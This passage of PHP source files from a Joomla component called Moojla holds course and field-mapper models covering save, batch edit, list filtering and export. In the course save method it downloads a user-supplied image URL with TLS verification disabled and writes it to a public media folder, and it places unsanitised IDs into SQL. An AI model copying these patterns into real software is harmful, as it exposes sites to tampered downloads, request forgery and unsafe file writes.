unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
if (isset($values['category']) && (int)
$values['category'] > 0 &&
!static::checkCategoryId($values['category']))
{
return false;
}
elseif (isset($values['category']) && (int)
$values['category'] > 0)
{
// move the category value to correct field name
$values['catid'] = $values['category'];
unset($values['category']);
}
elseif (isset($values['category']))
{
unset($values['category']);
}
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('course.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the permanent_fields items to data.
if (isset($data['permanent_fields']) &&
is_array($data['permanent_fields']))
{
$permanent_fields = new JRegistry;
$permanent_fields->loadArray($data['permanent_fields']);
$data['permanent_fields'] = (string) $permanent_fields;
}
elseif (!isset($data['permanent_fields']))
{
// Set the empty permanent_fields to data
$data['permanent_fields'] = '';
}
/***[JCBGUI.admin_view.php_save.129.$$$$]***/
$moodleimgurl = $data["summary_files"];
if($moodleimgurl)
{
$olddlpath =
JPATH_ROOT.'/media/com_moojla/images/'.urldecode(basename($moodleimgurl));
$dlpath =
JPATH_ROOT.'/media/com_moojla/images/'.$data["remoteid"].'_'.urldecode(basename($moodleimgurl));
if(!file_exists($dlpath) && !file_exists($olddlpath))
{
$ch = curl_init($moodleimgurl);
$fp = fopen($dlpath, 'wb');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);
fclose($fp);
$data["summary_files"] = basename($moodleimgurl) ?
'/media/com_moojla/images/'.$data["remoteid"].'_'.basename($moodleimgurl)
: '';
}
else
{
$data["summary_files"] = file_exists($dlpath) ?
'/media/com_moojla/images/'.$data["remoteid"].'_'.basename($moodleimgurl)
: '/media/com_moojla/images/'.basename($moodleimgurl);
}
}
JPluginHelper::importPlugin("notifly");
$dispatcher = JEventDispatcher::getInstance();
$args = array('com_moojla.coursecreated', $data, true);
$dispatcher->trigger("onContentAfterSave", $args);
/***[/JCBGUI$$$$]***/
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the shortname for save as copy
if ($input->get('task') === 'save2copy')
{
$origTable = clone $this->getTable();
$origTable->load($input->getInt('id'));
if ($data['shortname'] == $origTable->shortname)
{
list($shortname, $alias) =
$this->generateNewTitle($data['catid'],
$data['alias'], $data['shortname']);
$data['shortname'] = $shortname;
$data['alias'] = $alias;
}
else
{
if ($data['alias'] == $origTable->alias)
{
$data['alias'] = '';
}
}
$data['published'] = 0;
}
// Automatic handling of alias for empty fields
if (in_array($input->get('task'), array('apply',
'save', 'save2new')) && (int)
$input->get('id') == 0)
{
if ($data['alias'] == null || empty($data['alias']))
{
if (JFactory::getConfig()->get('unicodeslugs') == 1)
{
$data['alias'] =
JFilterOutput::stringURLUnicodeSlug($data['shortname']);
}
else
{
$data['alias'] =
JFilterOutput::stringURLSafe($data['shortname']);
}
$table = JTable::getInstance('course',
'moojlaTable');
if ($table->load(array('alias' =>
$data['alias'], 'catid' =>
$data['catid'])) && ($table->id !=
$data['id'] || $data['id'] == 0))
{
$msg = JText::_('COM_MOOJLA_COURSE_SAVE_WARNING');
}
list($shortname, $alias) =
$this->generateNewTitle($data['catid'],
$data['alias'], $data['shortname']);
$data['alias'] = $alias;
if (isset($msg))
{
JFactory::getApplication()->enqueueMessage($msg,
'warning');
}
}
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title/s & alias.
*
* @param string $alias The alias.
* @param string/array $title The title.
*
* @return array/string Contains the modified title/s and/or alias.
*
*/
protected function _generateNewTitle($alias, $title = null)
{
// Alter the title/s & alias
$table = $this->getTable();
while ($table->load(array('alias' => $alias)))
{
// Check if this is an array of titles
if (MoojlaHelper::checkArray($title))
{
foreach($title as $nr => &$_title)
{
$_title = StringHelper::increment($_title);
}
}
// Make sure we have a title
elseif ($title)
{
$title = StringHelper::increment($title);
}
$alias = StringHelper::increment($alias, 'dash');
}
// Check if this is an array of titles
if (MoojlaHelper::checkArray($title))
{
$title[] = $alias;
return $title;
}
// Make sure we have a title
elseif ($title)
{
return array($title, $alias);
}
// We only had an alias
return $alias;
}
}
models/courses.php000064400000032112151165724400010227 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage courses.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Courses Model
*/
class MoojlaModelCourses extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'c.title','category_title',
'c.id', 'category_id',
'a.catid','catid',
'a.shortname','shortname',
'a.fullname','fullname'
);
}
parent::__construct($config);
}
/***[JCBGUI.admin_view.php_model_list.129.$$$$]***/
///***[/JCBGUI$$$$]***/
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$category = $app->getUserStateFromRequest($this->context .
'.filter.category', 'filter_category');
$this->setState('filter.category', $category);
$categoryId = $this->getUserStateFromRequest($this->context .
'.filter.category_id', 'filter_category_id');
$this->setState('filter.category_id', $categoryId);
$catid = $this->getUserStateFromRequest($this->context .
'.filter.catid', 'filter_catid');
if ($formSubmited)
{
$catid = $app->input->post->get('catid');
$this->setState('filter.catid', $catid);
}
$shortname = $this->getUserStateFromRequest($this->context .
'.filter.shortname', 'filter_shortname');
if ($formSubmited)
{
$shortname = $app->input->post->get('shortname');
$this->setState('filter.shortname', $shortname);
}
$fullname = $this->getUserStateFromRequest($this->context .
'.filter.fullname', 'filter_fullname');
if ($formSubmited)
{
$fullname = $app->input->post->get('fullname');
$this->setState('filter.fullname', $fullname);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// Set values to display correctly.
if (MoojlaHelper::checkArray($items))
{
// Get the user object if not set.
if (!isset($user) || !MoojlaHelper::checkObject($user))
{
$user = JFactory::getUser();
}
foreach ($items as $nr => &$item)
{
// Remove items the user can't access.
$access = ($user->authorise('course.access',
'com_moojla.course.' . (int) $item->id) &&
$user->authorise('course.access', 'com_moojla'));
if (!$access)
{
unset($items[$nr]);
continue;
}
}
}
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
$query->select($db->quoteName('c.title','category_title'));
// From the moojla_item table
$query->from($db->quoteName('#__moojla_course',
'a'));
$query->join('LEFT',
$db->quoteName('#__categories', 'c') . ' ON
(' . $db->quoteName('a.catid') . ' = ' .
$db->quoteName('c.id') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.shortname LIKE '.$search.' OR
a.fullname LIKE '.$search.' OR a.catid LIKE '.$search.'
OR a.remoteid LIKE '.$search.')');
}
}
// Filter by a single or group of categories.
$baselevel = 1;
$categoryId = $this->getState('filter.category_id');
if (is_numeric($categoryId))
{
$cat_tbl = JTable::getInstance('Category',
'JTable');
$cat_tbl->load($categoryId);
$rgt = $cat_tbl->rgt;
$lft = $cat_tbl->lft;
$baselevel = (int) $cat_tbl->level;
$query->where('c.lft >= ' . (int) $lft)
->where('c.rgt <= ' . (int) $rgt);
}
elseif (is_array($categoryId))
{
$categoryId = ArrayHelper::toInteger($categoryId);
$categoryId = implode(',', $categoryId);
$query->where('a.catid IN (' . $categoryId .
')');
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get list export data.
*
* @param array $pks The ids of the items to get
* @param JUser $user The user making the request
*
* @return mixed An array of data items on success, false on failure.
*/
public function getExportData($pks, $user = null)
{
// setup the query
if (($pks_size = MoojlaHelper::checkArray($pks)) !== false ||
'bulk' === $pks)
{
// Set a value to know this is export method. (USE IN CUSTOM CODE TO
ALTER OUTCOME)
$_export = true;
// Get the user object if not set.
if (!isset($user) || !MoojlaHelper::checkObject($user))
{
$user = JFactory::getUser();
}
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_course table
$query->from($db->quoteName('#__moojla_course',
'a'));
// The bulk export path
if ('bulk' === $pks)
{
$query->where('a.id > 0');
}
// A large array of ID's will not work out well
elseif ($pks_size > 500)
{
// Use lowest ID
$query->where('a.id >= ' . (int) min($pks));
// Use highest ID
$query->where('a.id <= ' . (int) max($pks));
}
// The normal default path
else
{
$query->where('a.id IN (' . implode(',',$pks) .
')');
}
// Order the results by ordering
$query->order('a.ordering ASC');
// Load the items
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
$items = $db->loadObjectList();
// Set values to display correctly.
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// Remove items the user can't access.
$access = ($user->authorise('course.access',
'com_moojla.course.' . (int) $item->id) &&
$user->authorise('course.access', 'com_moojla'));
if (!$access)
{
unset($items[$nr]);
continue;
}
// unset the values we don't want exported.
unset($item->asset_id);
unset($item->checked_out);
unset($item->checked_out_time);
}
}
// Add headers to items array.
$headers = $this->getExImPortHeaders();
if (MoojlaHelper::checkObject($headers))
{
array_unshift($items,$headers);
}
return $items;
}
}
return false;
}
/**
* Method to get header.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getExImPortHeaders()
{
// Get a db connection.
$db = JFactory::getDbo();
// get the columns
$columns = $db->getTableColumns("#__moojla_course");
if (MoojlaHelper::checkArray($columns))
{
// remove the headers you don't import/export.
unset($columns['asset_id']);
unset($columns['checked_out']);
unset($columns['checked_out_time']);
$headers = new stdClass();
foreach ($columns as $column => $type)
{
$headers->{$column} = $column;
}
return $headers;
}
return false;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
// Check if the value is an array
$_category = $this->getState('filter.category');
if (MoojlaHelper::checkArray($_category))
{
$id .= ':' . implode(':', $_category);
}
// Check if this is only an number or string
elseif (is_numeric($_category)
|| MoojlaHelper::checkString($_category))
{
$id .= ':' . $_category;
}
// Check if the value is an array
$_category_id = $this->getState('filter.category_id');
if (MoojlaHelper::checkArray($_category_id))
{
$id .= ':' . implode(':', $_category_id);
}
// Check if this is only an number or string
elseif (is_numeric($_category_id)
|| MoojlaHelper::checkString($_category_id))
{
$id .= ':' . $_category_id;
}
// Check if the value is an array
$_catid = $this->getState('filter.catid');
if (MoojlaHelper::checkArray($_catid))
{
$id .= ':' . implode(':', $_catid);
}
// Check if this is only an number or string
elseif (is_numeric($_catid)
|| MoojlaHelper::checkString($_catid))
{
$id .= ':' . $_catid;
}
$id .= ':' . $this->getState('filter.shortname');
$id .= ':' . $this->getState('filter.fullname');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_course'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_course'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/course_fields_mapper.php000064400000027307151165724400012750
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_fields_mapper.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course_fields_mapper Model
*/
class MoojlaModelCourse_fields_mapper extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.access','access',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
/***[JCBGUI.admin_view.php_getitems_after_all.138.$$$$]***/
/*foreach($items as $ind => $it)
{
$items[$ind]->field_icon = JUri::root().$it->field_icon;
}*/
foreach($items as $index => $it)
{
$items[$index]->mcoursefields_id = $it->mcoursefields;
}/***[/JCBGUI$$$$]***/
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_course_field_mapper',
'a'));
// From the fields table.
$query->select($db->quoteName('g.name','coursefield_name'));
$query->join('LEFT',
$db->quoteName('#__fields', 'g') . ' ON ('
. $db->quoteName('a.coursefield') . ' = ' .
$db->quoteName('g.id') . ')');
// From the moojla_course_field_mapper table.
$query->select($db->quoteName('h.id','mcoursefields_id'));
$query->join('LEFT',
$db->quoteName('#__moojla_course_field_mapper', 'h')
. ' ON (' . $db->quoteName('a.mcoursefields') .
' = ' . $db->quoteName('h.id') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Join over the asset groups.
$query->select('ag.title AS access_level');
$query->join('LEFT', '#__viewlevels AS ag ON ag.id =
a.access');
// Filter by access level.
$_access = $this->getState('filter.access');
if ($_access && is_numeric($_access))
{
$query->where('a.access = ' . (int) $_access);
}
elseif (MoojlaHelper::checkArray($_access))
{
// Secure the array for the query
$_access = ArrayHelper::toInteger($_access);
// Filter by the Access Array.
$query->where('a.access IN (' . implode(',',
$_access) . ')');
}
// Implement View Level Access
if (!$user->authorise('core.options',
'com_moojla'))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.coursefield LIKE '.$search.' OR
g.name LIKE '.$search.' OR a.mcoursefields LIKE
'.$search.' OR h.id LIKE '.$search.')');
}
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get list export data.
*
* @param array $pks The ids of the items to get
* @param JUser $user The user making the request
*
* @return mixed An array of data items on success, false on failure.
*/
public function getExportData($pks, $user = null)
{
// setup the query
if (($pks_size = MoojlaHelper::checkArray($pks)) !== false ||
'bulk' === $pks)
{
// Set a value to know this is export method. (USE IN CUSTOM CODE TO
ALTER OUTCOME)
$_export = true;
// Get the user object if not set.
if (!isset($user) || !MoojlaHelper::checkObject($user))
{
$user = JFactory::getUser();
}
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_course_field_mapper table
$query->from($db->quoteName('#__moojla_course_field_mapper',
'a'));
// The bulk export path
if ('bulk' === $pks)
{
$query->where('a.id > 0');
}
// A large array of ID's will not work out well
elseif ($pks_size > 500)
{
// Use lowest ID
$query->where('a.id >= ' . (int) min($pks));
// Use highest ID
$query->where('a.id <= ' . (int) max($pks));
}
// The normal default path
else
{
$query->where('a.id IN (' . implode(',',$pks) .
')');
}
// Implement View Level Access
if (!$user->authorise('core.options',
'com_moojla'))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
// Order the results by ordering
$query->order('a.ordering ASC');
// Load the items
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
$items = $db->loadObjectList();
// Set values to display correctly.
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// unset the values we don't want exported.
unset($item->asset_id);
unset($item->checked_out);
unset($item->checked_out_time);
}
}
// Add headers to items array.
$headers = $this->getExImPortHeaders();
if (MoojlaHelper::checkObject($headers))
{
array_unshift($items,$headers);
}
/***[JCBGUI.admin_view.php_getitems_after_all.138.$$$$]***/
/*foreach($items as $ind => $it)
{
$items[$ind]->field_icon = JUri::root().$it->field_icon;
}*/
foreach($items as $index => $it)
{
$items[$index]->mcoursefields_id = $it->mcoursefields;
}/***[/JCBGUI$$$$]***/
return $items;
}
}
return false;
}
/**
* Method to get header.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getExImPortHeaders()
{
// Get a db connection.
$db = JFactory::getDbo();
// get the columns
$columns =
$db->getTableColumns("#__moojla_course_field_mapper");
if (MoojlaHelper::checkArray($columns))
{
// remove the headers you don't import/export.
unset($columns['asset_id']);
unset($columns['checked_out']);
unset($columns['checked_out_time']);
$headers = new stdClass();
foreach ($columns as $column => $type)
{
$headers->{$column} = $column;
}
return $headers;
}
return false;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
// Check if the value is an array
$_access = $this->getState('filter.access');
if (MoojlaHelper::checkArray($_access))
{
$id .= ':' . implode(':', $_access);
}
// Check if this is only an number or string
elseif (is_numeric($_access)
|| MoojlaHelper::checkString($_access))
{
$id .= ':' . $_access;
}
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_course_field_mapper'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_course_field_mapper'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/course_field_mapper.php000064400000052540151165724400012562
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_field_mapper.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Course_field_mapper Model
*/
class MoojlaModelCourse_field_mapper extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'coursefield',
'mcoursefields',
'field_icon'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.course_field_mapper';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'course_field_mapper', $prefix
= 'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.course_field_mapper',
'course_field_mapper', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
